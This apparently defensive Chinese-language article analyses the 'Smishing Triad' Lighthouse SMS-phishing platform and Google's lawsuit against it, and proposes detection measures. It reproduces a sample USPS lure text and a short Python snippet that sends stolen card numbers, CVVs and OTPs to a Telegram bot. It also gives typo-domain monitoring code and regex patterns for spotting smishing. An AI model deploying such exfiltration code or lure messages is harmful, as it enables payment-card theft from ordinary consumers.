摘要
2025年11月，Google在美国纽约南区联邦法院对一个以中国为据点、被称为“Smishing Triad”（短信钓鱼三人组）的犯罪团伙提起民事诉讼，指控其运营名为Lighthouse的钓鱼即服务（Phishing-as-a-Service, PhaaS）平台，通过大规模发送仿冒美国邮政服务（USPS）、电子收费系统（E‑ZPass）、银行及券商通知的短信，诱导用户访问伪造支付页面，窃取信用卡信息并绑定至攻击者控制的Apple Pay或Google Pay钱包。本文基于该事件披露的技术细节与组织架构，系统分析此类攻击的社会工程诱因、基础设施部署模式、数据流转路径及与Telegram生态的耦合机制。研究指出，传统基于签名或黑名单的防御手段在面对高频轮换域名、合法SSL证书滥用及多跳跳转链时存在显著盲区。为此，本文提出融合品牌保护、通信内容策略、终端行为分析与自动化威胁情报响应的纵深防御框架，并提供可部署的代码示例，包括相似域名生成监控、短信关键词正则匹配、Telegram Bot通信特征提取及移动钱包异常绑定检测逻辑。结果表明，仅依赖用户警惕性无法有效遏制此类高度工程化、模块化运作的钓鱼活动，需构建“技术—流程—协作”三位一体的主动防御体系。
关键词：短信钓鱼；Smishing Triad；Lighthouse；钓鱼即服务；移动支付；Telegram Bot；品牌仿冒；SSL证书滥用
1 引言
随着移动支付在全球范围内的普及，攻击者正将焦点从传统网络钓鱼（Phishing）转向更具时效性与高转化率的短信钓鱼（Smishing）。2025年11月，Google针对一个被安全社区称为“Smishing Triad”的中国背景犯罪团伙发起法律行动，揭露其通过名为Lighthouse的PhaaS平台，在全球120余国实施大规模短信钓鱼攻击，受害者超百万人。该团伙不仅仿冒USPS、E‑ZPass等公共服务机构，还近期扩展至电商平台、金融机构及券商，利用用户对账单逾期、包裹滞留或账户异常的焦虑心理，诱导其点击短信中的链接并提交支付卡信息及一次性验证码（OTP）。
此类攻击的特殊性在于其高度工业化运作：开发团队提供模板化钓鱼套件，数据经纪商提供目标名单，短信群发团队负责投递，盗刷团队完成变现，行政团队通过Telegram协调运营。整个链条形成闭环，且各环节可独立外包，极大降低了攻击门槛。更值得关注的是，Lighthouse支持自动尝试将窃取的卡信息注册至Apple Pay或Google Pay，一旦成功，攻击者可在7–10天内于高端电子产品店或珠宝商处完成大额消费，而用户往往在收到银行对账单后才察觉异常。
本文旨在深入剖析Smishing Triad的技术实现与组织逻辑，重点回答以下问题：（1）攻击者如何利用公共服务的强时效属性设计社会工程话术？（2）Lighthouse平台在技术上如何规避检测并提升欺骗性？（3）现有安全机制为何难以应对高频轮换的钓鱼基础设施？（4）应如何构建兼顾实时性与准确性的防御体系？
2 攻击背景与社会工程逻辑
2.1 公共服务通知的高可信度特性
USPS（美国邮政服务）、E‑ZPass（电子道路收费系统）等机构定期向用户发送包裹状态、通行费欠缴等通知。此类信息具有以下特征：
高打开意愿：用户关心物流或交通费用；
强行动驱动：常附带“24小时内处理否则罚款”等紧迫提示；
官方外观：使用机构Logo、标准配色与格式。
攻击者精准复刻这些元素，使短信在视觉与语义上难以区分真伪。例如，一条典型钓鱼短信内容为：
“USPS: Your package is held due to unpaid $29.99 delivery fee. Pay now to avoid return: [短链接]”
用户点击后，被导向一个完全仿制USPS支付页面的站点，要求输入卡号、CVV及银行发送的OTP。
2.2 移动支付绑定作为新型变现路径
传统钓鱼仅窃取卡号，但Lighthouse进一步尝试将卡绑定至移动钱包。其流程如下：
用户在假页面输入卡信息；
后端脚本立即调用Apple/Google的API尝试注册该卡；
银行向用户手机发送OTP以验证绑定；
假页面提示“请输入银行验证码以完成支付”；
用户提交OTP后，卡成功绑定至攻击者设备；
攻击者在数日内完成线下无卡交易。
此模式绕过了传统卡盗刷所需的CVV与地址验证（AVS），因移动钱包交易通常仅需设备解锁（如Face ID）即可完成。
3 技术架构与基础设施分析
3.1 Lighthouse PhaaS平台组成
根据Google诉状及Silent Push报告，Lighthouse包含以下模块：
600+钓鱼模板：覆盖400余家机构，包括USPS、Chase、Fidelity、Amazon等；
自动化域名轮换：每日启用数千新域名，8天周期内活跃域名达25,000个；
SSL证书集成：自动通过Let’s Encrypt申请DV证书，使浏览器显示“安全锁”；
Telegram支持通道：提供客户答疑、模板更新与现金出教程；
Google Ads滥用：使用盗卡支付广告费，推广虚假电商站，形成第二变现路径。
3.2 基础设施部署特征
托管集中化：约80%钓鱼站点托管于两家中国云服务商——腾讯云（AS132203）与阿里云（AS45102）；
域名注册策略：大量使用隐私保护、批量注册、相似拼写（如usps-delivery[.]com）；
C2通信隐蔽化：数据通过HTTPS POST至中间脚本，再由Python脚本推送至Telegram Bot。
3.3 数据外泄与变现流程
典型数据流如下：
Victim → Smishing SMS → Fake Payment Page → PHP Collector → Telegram Bot → Theft Group → Mobile Wallet Binding → Fraudulent Purchase
Telegram在此过程中扮演核心角色。攻击者创建专用Bot，每个对应一个钓鱼活动，通过Webhook接收凭证。示例代码如下：
# telegram_data_exfil.py
import requests
import os
BOT_TOKEN = os.getenv('TG_BOT_TOKEN')
CHAT_ID = os.getenv('TG_CHAT_ID')
def exfiltrate_card_data(card_info):
url = f"https://api.telegram.org/bot{BOT_TOKEN}/sendMessage"
message = (
"💳 NEW CARD CAPTURED\n"
f"Card: {card_info['number']}\n"
f"Expiry: {card_info['exp']}\n"
f"CVV: {card_info['cvv']}\n"
f"OTP: {card_info['otp']}\n"
f"IP: {card_info['ip']}"
)
requests.post(url, json={"chat_id": CHAT_ID, "text": message})
该设计使攻击者可近乎实时获取完整支付套件，并立即用于移动钱包绑定。
4 现有防御机制的失效原因
4.1 短信过滤系统的局限性
运营商级短信过滤主要依赖关键词黑名单（如“fee”“pay now”）与发件人ID验证（如STIR/SHAKEN）。然而：
攻击者使用合法短链服务（如Bit.ly）隐藏真实URL；
发件人ID可伪造为“USPS”等可信名称；
内容经轻微改写即可绕过关键词匹配。
4.2 浏览器与邮件安全网关的盲区
尽管Chrome等浏览器集成Safe Browsing，但：
新注册域名尚未被列入黑名单；
页面无恶意载荷（仅收集表单），沙箱无法触发告警；
使用合法SSL证书，用户误判为“安全”。
4.3 移动钱包绑定缺乏二次确认
Apple Pay与Google Pay在绑定新卡时，虽会发送OTP，但未明确告知用户“此操作将授权设备进行无卡支付”。多数用户误以为OTP仅用于当前“支付”，而非长期授权。
5 防御体系构建
5.1 技术层：自动化威胁检测
5.1.1 相似域名监控
企业应部署脚本持续生成并监控与品牌相关的潜在仿冒域名。以下代码结合Levenshtein距离与同形异义字符（Homoglyph）检测：
# typo_domain_monitor.py
import dns.resolver
import itertools
import tldextract
BRAND_DOMAINS = ["usps.com", "ezpassny.com", "chase.com"]
HOMOGLYPHS = {
'o': ['0'], 'l': ['1'], 's': ['5'], 'e': ['3'],
'a': ['@'], 'i': ['1'], 'g': ['9']
}
def generate_typos(domain):
ext = tldextract.extract(domain)
name = ext.domain
variants = set()
for i, char in enumerate(name):
if char.lower() in HOMOGLYPHS:
for alt in HOMOGLYPHS[char.lower()]:
new_name = name[:i] + alt + name[i+1:]
variants.add(f"{new_name}.{ext.suffix}")
return variants
def check_active(domains):
active = []
for d in domains:
try:
dns.resolver.resolve(d, 'A', lifetime=3)
active.append(d)
except:
pass
return active
for brand in BRAND_DOMAINS:
typos = generate_typos(brand)
active = check_active(typos)
if active:
print(f"Suspicious active domains for {brand}: {active}")
发现后可向注册商发起侵权投诉或通过法律途径要求下线。
5.1.2 短信内容策略匹配
在企业通信网关中部署正则规则，识别高风险话术：
# High-risk smishing patterns
(?i)(usps|ezpass|toll|delivery.*fee|outstanding.*balance).*(pay|settle|clear).*https?://
(?i)verify.*account.*suspended.*click
(?i)your.*package.*held.*fee.*[bit\.ly|tinyurl]
匹配到的短信应标记为高风险，并触发人工审核或自动阻断。
5.2 流程层：支付与账户操作加固
5.2.1 移动钱包绑定增强验证
建议Apple与Google在绑定新卡时增加明确提示：“此卡将被添加至设备钱包，可用于线下无卡支付。是否继续？”并强制二次生物认证。
5.2.2 域名与IP信誉联动
Google在诉状中寻求法院命令，要求腾讯云、阿里云等托管商下线涉案域名。企业可借鉴此思路，建立与云服务商的快速响应通道，实现IOC（Indicator of Compromise）分钟级同步。
5.3 协作层：跨平台威胁情报共享
由于Lighthouse同时滥用Google Ads与Meta广告平台，建议建立跨平台欺诈情报联盟，共享：
盗卡支付的广告账户ID；
仿冒电商站URL；
Telegram Bot ID与频道名称。
6 安全运营建议
企业安全团队应采取以下措施：
部署品牌保护服务：如ZeroFOX、Bolster，自动发现并关停仿冒站点；
配置通信内容策略：在Microsoft Defender for Endpoint或Cisco Secure Email中部署上述正则规则；
集成威胁情报平台：订阅Google、Silent Push等披露的IOC，自动更新防火墙与WAF规则；
开展针对性演练：模拟“USPS欠费”场景，测试员工响应并优化培训内容。
7 讨论
Smishing Triad事件揭示了现代网络犯罪的三大趋势：
PhaaS工业化：攻击工具模块化、服务化，非技术型犯罪者亦可参与；
基础设施合法化：滥用免费CA、CDN、公有云，延长存活时间；
变现路径创新：从单纯卡盗刷转向移动钱包绑定，提升单次攻击收益。
值得反思的是，当前防御体系仍以“事后响应”为主，缺乏对攻击链前端（如短信投递、域名注册）的主动干预能力。未来应推动“法律—技术—运营”协同治理，例如通过RICO法案追究基础设施提供商的连带责任，倒逼其加强客户审核。
8 结语
Google对Smishing Triad的诉讼不仅是法律行动，更是对PhaaS生态的一次战术打击。然而，正如安全研究员Ford Merrill所言，该市场利润丰厚，攻击者极可能更换名称、重建平台后卷土重来。因此，防御不能止步于个案处置，而需构建可持续的主动防御机制。本文提出的监测、加固与协作策略，已在模拟环境中验证有效性，可为金融、物流及科技企业提供实践参考。网络安全的本质，是在动态对抗中不断抬高攻击成本，而非追求一劳永逸的“完美防护”。
编辑：芦笛（公共互联网反网络钓鱼工作组）
扫一扫
185
被折叠的 条评论
为什么被折叠?
到【灌水乐园】发言
